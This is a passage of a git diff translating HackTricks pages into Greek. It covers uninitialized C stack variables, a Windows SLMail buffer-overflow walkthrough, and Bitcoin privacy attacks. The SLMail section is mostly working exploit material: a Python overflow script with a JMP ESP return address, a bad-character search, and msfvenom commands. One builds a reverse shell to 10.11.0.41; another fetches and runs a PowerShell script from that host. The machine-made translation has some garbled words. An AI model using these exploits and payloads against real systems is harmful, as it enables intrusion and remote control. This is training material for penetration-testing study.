Μεταβλητές {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +Η βασική ιδέα εδώ είναι να κατανοήσουμε τι συμβαίνει με **τις μη αρχικοποιημένες μεταβλητές καθώς θα έχουν την τιμή που ήταν ήδη στη μνήμη που τους έχει ανατεθεί.** Παράδειγμα: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **Συνάρτηση 1: `initializeVariable`**: Δηλώνουμε μια μεταβλητή `x` και της αναθέτουμε μια τιμή, ας πούμε `0x1234`. Αυτή η ενέργεια είναι παρόμοια με την κράτηση μιας θέσης στη μνήμη και την τοποθέτηση μιας συγκεκριμένης τιμής σε αυτήν. +- **Συνάρτηση 2: `useUninitializedVariable`**: Εδώ, δηλώνουμε μια άλλη μεταβλητή `y` αλλά δεν της αναθέτουμε καμία τιμή. Στην C, οι μη αρχικοποιημένες μεταβλητές δεν ρυθμίζονται αυτόματα σε μηδέν. Αντίθετα, διατηρούν όποια τιμή ήταν τελευταία αποθηκευμένη στη θέση μνήμης τους. -When we run these two functions **sequentially**: +Όταν εκτελούμε αυτές τις δύο συναρτήσεις **διαδοχικά**: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. Στην `initializeVariable`, η `x` ανατίθεται μια τιμή (`0x1234`), η οποία καταλαμβάνει μια συγκεκριμένη διεύθυνση μνήμης. +2. Στην `useUninitializedVariable`, η `y` δηλώνεται αλλά δεν της ανατίθεται τιμή, οπότε καταλαμβάνει τη θέση μνήμης αμέσως μετά την `x`. Λόγω της μη αρχικοποίησης της `y`, καταλήγει να "κληρονομεί" την τιμή από την ίδια θέση μνήμης που χρησιμοποιήθηκε από την `x`, επειδή αυτή είναι η τελευταία τιμή που υπήρχε εκεί. -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +Αυτή η συμπεριφορά απεικονίζει μια βασική έννοια στον προγραμματισμό χαμηλού επιπέδου: **Η διαχείριση μνήμης είναι κρίσιμη**, και οι μη αρχικοποιημένες μεταβλητές μπορούν να οδηγήσουν σε απρόβλεπτη συμπεριφορά ή ευπάθειες ασφαλείας, καθώς μπορεί να κρατούν κατά λάθος ευαίσθητα δεδομένα που έχουν απομείνει στη μνήμη. -Uninitialized stack variables could pose several security risks like: +Οι μη αρχικοποιημένες μεταβλητές στο στοίβα θα μπορούσαν να θέσουν αρκετούς κινδύνους ασφαλείας όπως: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **Διαρροή Δεδομένων**: Ευαίσθητες πληροφορίες όπως κωδικοί πρόσβασης, κλειδιά κρυπτογράφησης ή προσωπικά στοιχεία μπορεί να εκτεθούν αν αποθηκευτούν σε μη αρχικοποιημένες μεταβλητές, επιτρέποντας στους επιτιθέμενους να διαβάσουν αυτά τα δεδομένα. +- **Αποκάλυψη Πληροφοριών**: Το περιεχόμενο των μη αρχικοποιημένων μεταβλητών μπορεί να αποκαλύψει λεπτομέρειες σχετικά με τη διάταξη μνήμης του προγράμματος ή τις εσωτερικές λειτουργίες, βοηθώντας τους επιτιθέμενους να αναπτύξουν στοχευμένες εκμεταλλεύσεις. +- **Κρατήσεις και Αστάθεια**: Οι λειτουργίες που περιλαμβάνουν μη αρχικοποιημένες μεταβλητές μπορεί να οδηγήσουν σε μη καθορισμένη συμπεριφορά, προκαλώντας κρατήσεις προγράμματος ή απρόβλεπτα αποτελέσματα. +- **Εκτέλεση Αυθαίρετου Κώδικα**: Σε ορισμένα σενάρια, οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτές τις ευπάθειες για να αλλάξουν τη ροή εκτέλεσης του προγράμματος, επιτρέποντάς τους να εκτελέσουν αυθαίρετο κώδικα, ο οποίος μπορεί να περιλαμβάνει απειλές εκτέλεσης απομακρυσμένου κώδικα. +### Παράδειγμα ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### Πώς Λειτουργεί Αυτό: -#### How This Works: +- **`initializeAndPrint` Συνάρτηση**: Αυτή η συνάρτηση δηλώνει μια ακέραια μεταβλητή `initializedVar`, της αναθέτει την τιμή `100`, και στη συνέχεια εκτυπώνει τόσο τη διεύθυνση μνήμης όσο και την τιμή της μεταβλητής. Αυτό το βήμα είναι απλό και δείχνει πώς συμπ behaves μια αρχικοποιημένη μεταβλητή. +- **`demonstrateUninitializedVar` Συνάρτηση**: Σε αυτή τη συνάρτηση, δηλώνουμε μια ακέραια μεταβλητή `uninitializedVar` χωρίς να την αρχικοποιήσουμε. Όταν προσπαθούμε να εκτυπώσουμε την τιμή της, η έξοδος μπορεί να δείξει έναν τυχαίο αριθμό. Αυτός ο αριθμός αντιπροσωπεύει οποιαδήποτε δεδομένα ήταν προηγουμένως σε αυτή τη διεύθυνση μνήμης. Ανάλογα με το περιβάλλον και τον μεταγλωττιστή, η πραγματική έξοδος μπορεί να διαφέρει, και μερικές φορές, για λόγους ασφαλείας, ορισμένοι μεταγλωττιστές μπορεί να αρχικοποιούν αυτόματα τις μεταβλητές σε μηδέν, αν και αυτό δεν θα πρέπει να θεωρείται δεδομένο. +- **`main` Συνάρτηση**: Η `main` συνάρτηση καλεί και τις δύο παραπάνω συναρτήσεις διαδοχικά, δείχνοντας τη διαφορά μεταξύ μιας αρχικοποιημένης μεταβλητής και μιας μη αρχικοποιημένης. -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## Παράδειγμα ARM64 -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +Αυτό δεν αλλάζει καθόλου στο ARM64 καθώς οι τοπικές μεταβλητές διαχειρίζονται επίσης στο στοίβα, μπορείτε να [**ελέγξετε αυτό το παράδειγμα**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) όπου αυτό δείχνεται. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..af8f3a1e0 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Επανεκκίνηση της υπηρεσίας SLMail +Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## Πολύ βασικό πρότυπο εκμετάλλευσης python ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Αλλαγή Γραμματοσειράς Immunity Debugger** -## **Change Immunity Debugger Font** +Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Συνδέστε τη διαδικασία με το Immunity Debugger:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**Και πατήστε το κουμπί START** -## **Send the exploit and check if EIP is affected:** +## **Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας. -## Create a pattern to modify the EIP +## Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP -The pattern should be as big as the buffer you used to broke the service previously. +Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως. ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP: ![](<../images/image (636).png>) -Check if the address was in your pattern: +Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606** του buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει σε 42424242 ("BBBB") ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +Φαίνεται ότι λειτουργεί. -## Check for Shellcode space inside the stack +## Έλεγχος για χώρο Shellcode μέσα στη στοίβα -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode. +Ας αλλάξουμε το bufer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +Σε αυτή την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό. -## Check for bad chars - -Change again the buffer: +## Έλεγχος για κακά χαρακτήρες +Αλλάξτε ξανά το buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό. -The badchars starts in 0x01 because 0x00 is almost always bad. +Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Για παράδειγμα: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +Σε αυτή την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας 0x09). ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +Σε αυτή την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής +Χρησιμοποιώντας: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**Σε αυτή την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_ +## Δημιουργία shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Προσθέστε μερικούς NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον και τη διεύθυνση επιστροφής για να JMP ESP, και ολοκληρώστε την εκμετάλλευση: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Υπάρχουν shellcodes που θα **επικαλύψουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode -## Improving the shellcode - -Add this parameters: +## Βελτίωση του shellcode +Προσθέστε αυτές τις παραμέτρους: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..658c9ab33 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## Βασικές Έννοιες -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες. +- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end. +- **Tokens & Coins** διακρίνουν πού τα coins χρησιμεύουν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα. +- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων. +- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές. +- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα. -## Consensus Mechanisms +## Μηχανισμοί Συμφωνίας -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών. +- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW. -## Bitcoin Essentials +## Βασικά Στοιχεία του Bitcoin -### Transactions +### Συναλλαγές -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές. -#### Key Components: +#### Κύρια Στοιχεία: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής. +- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (πληρωμές στους miners), και **scripts** (κανόνες συναλλαγών). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Στοχεύει στη βελτίωση της κλιμακωσιμότητας του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain. -## Bitcoin Privacy Concerns +## Ανησυχίες για την Ιδιωτικότητα του Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών. -## Acquiring Bitcoins Anonymously +## Απόκτηση Bitcoins Ανώνυμα -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα. -# Bitcoin Privacy Atacks +# Επιθέσεις Ιδιωτικότητας Bitcoin -# Summary of Bitcoin Privacy Attacks +# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin. -## **Common Input Ownership Assumption** +## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**. -## **UTXO Change Address Detection** +## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα. -### Example +### Παράδειγμα -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην απόκρυψη της ιδιοκτησίας. -## **Social Networks & Forums Exposure** +## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**. -## **Transaction Graph Analysis** +## **Ανάλυση Γραφήματος Συναλλαγών** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα. +### Παράδειγμα ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων** -## **Forced Address Reuse** +Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Σωστή Συμπεριφορά Πορτοφολιού -### Correct Wallet Behavior +Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Άλλες Τεχνικές Ανάλυσης Blockchain** -## **Other Blockchain Analysis Techniques** +- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη. +- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή. +- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά μοτίβα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής. +- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ιχνηλατήσιμες. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Ανάλυση Κίνησης** -## **Traffic Analysis** +Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Περισσότερα -## More +Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Ανώνυμες Συναλλαγές Bitcoin -# Anonymous Bitcoin Transactions +## Τρόποι Απόκτησης 